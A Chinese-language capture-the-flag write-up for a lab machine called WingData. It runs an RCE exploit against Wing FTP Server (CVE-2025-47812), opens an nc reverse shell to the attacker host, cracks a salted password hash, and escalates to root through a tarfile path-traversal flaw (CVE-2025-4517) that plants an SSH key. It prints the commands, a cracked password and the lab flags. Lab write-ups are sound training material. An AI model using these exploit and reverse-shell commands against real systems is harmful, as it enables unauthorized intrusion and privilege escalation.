WingData

USER FLAG

nmap 扫一下靶机的端口服务

1
nmap -A 10.129.19.187

22 端口的 SSH,还有 80 的 Web

image-20260408141636592

先看 80 的,无法重定向到http://wingdata.htb/,需要设置一下/etc/hosts

1
10.129.19.187 wingdata.htb

image-20260408141746347

浏览器访问,成功重定向

image-20260408141807971

dirsearch 扫目录没扫到有用的路径

就去页面中找找利用点,有个可能的利用点就是下面这个发消息的,不过测试发现没什么用

image-20260408185320667

还有一个就是导航栏里的 “Client Portal”

image-20260408185702275

点击后会跳转到子域名http://ftp.wingdata.htb/

image-20260408185758674

连接一下这个FTP服务

1
ftp ftp.wingdata.htb

image-20260408190423449

要配置一下/etc/hosts

1
10.129.19.187 wingdata.htb ftp.wingdata.htb

image-20260408190541599

然后就可以访问到了

image-20260408190817750

可以看到是 Wing FTP Server v7.4.3

image-20260408190928358

找一下有没有历史漏洞和POC,可以找到:CVE-2025-47812

image-20260408191020843

POC:https://github.com/r0otk3r/CVE-2025-47812

1
python CVE-2025-47812.py -u "http://ftp.wingdata.htb/" -U anonymous -P password -c "whoami"

成功执行

image-20260408191325267

反弹shell

1
python CVE-2025-47812.py -u "http://ftp.wingdata.htb/" -U anonymous -P password -c "nc 10.10.16.44 2333 -e /bin/bash"

image-20260408192659099

生成交互式shell

1
/usr/bin/script -qc /bin/bash /dev/null

image-20260408192721931

有一个wacky用户

1
ls /home

image-20260408194502054

/opt/wftpserver/Data/1/users中可以得到用户凭证

image-20260408194613949

其中有哈希密码

image-20260408194701348

1
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca

image-20260408194803024

WingFTP的盐值是:WingFTP

用 hashcat 爆破

1
hashcat -m 1410 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP /usr/share/wordlists/rockyou.txt

成功爆破出密码:!#7Blushing^*Bride5(不太好找,慢慢翻一翻)

image-20260408195627425

然后 SSH 连接登录 wacky 用户

1
ssh wacky@10.129.19.187

成功登录

image-20260408195835740

USER FLAG 就在用户目录下

image-20260408195911344

1
5b3129123774a94cb69cb996475d86bb

ROOT FLAG

继续寻找提权方法,可以找到 sudo 权限配置缺陷导致的可以无密码以 root 身份执行/usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

1
sudo -l

image-20260408200039290

看一下/opt/backup_clients/restore_backup_clients.py这个脚本:

1
cat /opt/backup_clients/restore_backup_clients.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

def validate_backup_name(filename):
if not re.fullmatch(r"^backup_\d+\.tar$", filename):
return False
client_id = filename.split('_')[1].rstrip('.tar')
return client_id.isdigit() and client_id != "0"

def validate_restore_tag(tag):
return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))

def main():
parser = argparse.ArgumentParser(
description="Restore client configuration from a validated backup tarball.",
epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
)
parser.add_argument(
"-b", "--backup",
required=True,
help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
"where <client_id> is a positive integer, e.g., backup_1001.tar)"
)
parser.add_argument(
"-r", "--restore-dir",
required=True,
help="Staging directory name for the restore operation. "
"Must follow the format: restore_<client_user> (e.g., restore_john). "
"Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
)

args = parser.parse_args()

if not validate_backup_name(args.backup):
print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
sys.exit(1)

backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
if not os.path.isfile(backup_path):
print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
sys.exit(1)

if not args.restore_dir.startswith("restore_"):
print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
sys.exit(1)

tag = args.restore_dir[8:]
if not tag:
print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
sys.exit(1)

if not validate_restore_tag(tag):
print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
sys.exit(1)

staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
print(f"[+] Backup: {args.backup}")
print(f"[+] Staging directory: {staging_dir}")

os.makedirs(staging_dir, exist_ok=True)

try:
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
print(f"[+] Extraction completed in {staging_dir}")
except (tarfile.TarError, OSError, Exception) as e:
print(f"[!] Error during extraction: {e}", file=sys.stderr)
sys.exit(2)

if __name__ == "__main__":
main()

下面这部分代码存在漏洞:CVE-2025-4517

image-20260408204925873

POC:https://github.com/DesertDemons/CVE-2025-4138-4517-POC

生成 SSH 密钥对

1
ssh-keygen -t ed25519 -f id_ed25519 -N ""

image-20260408211826029

生成 TAR 包

1
python3 exploit.py --tar-out backup_1001.tar --target /root/.ssh/authorized_keys --payload id_ed25519.pub --mode 0600

image-20260408212118071

本地起一个HTTP服务

1
php -S 0:80

在靶机利用wget命令下载文件到/opt/backup_clients/backups/目录

1
2
cd /opt/backup_clients/backups/
wget http://10.10.16.44/backup_1001.tar

image-20260408210930394

然后执行命令

1
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1001.tar -r restore_pwn

image-20260408211019841

最后就可以登录root用户了

1
ssh -i id_ed25519 root@10.129.19.187

成功提权

image-20260408212309580

image-20260408212329276

1
0adfc07dc6844c34130cb635f2e73270

总结

  • 信息搜集到子域名
  • Wing FTP Server v7.4.3 RCE漏洞:CVE-2025-47812
  • 信息搜集到 wacky 用户的哈希密码,并利用 hashcat 加盐爆破
  • 利用 sudo 权限配置缺陷和 CVE-2025-4517 提权

WingData
https://yschen20.github.io/2026/04/08/WingData/
作者
Suzen
发布于
2026年4月8日
更新于
2026年4月8日
许可协议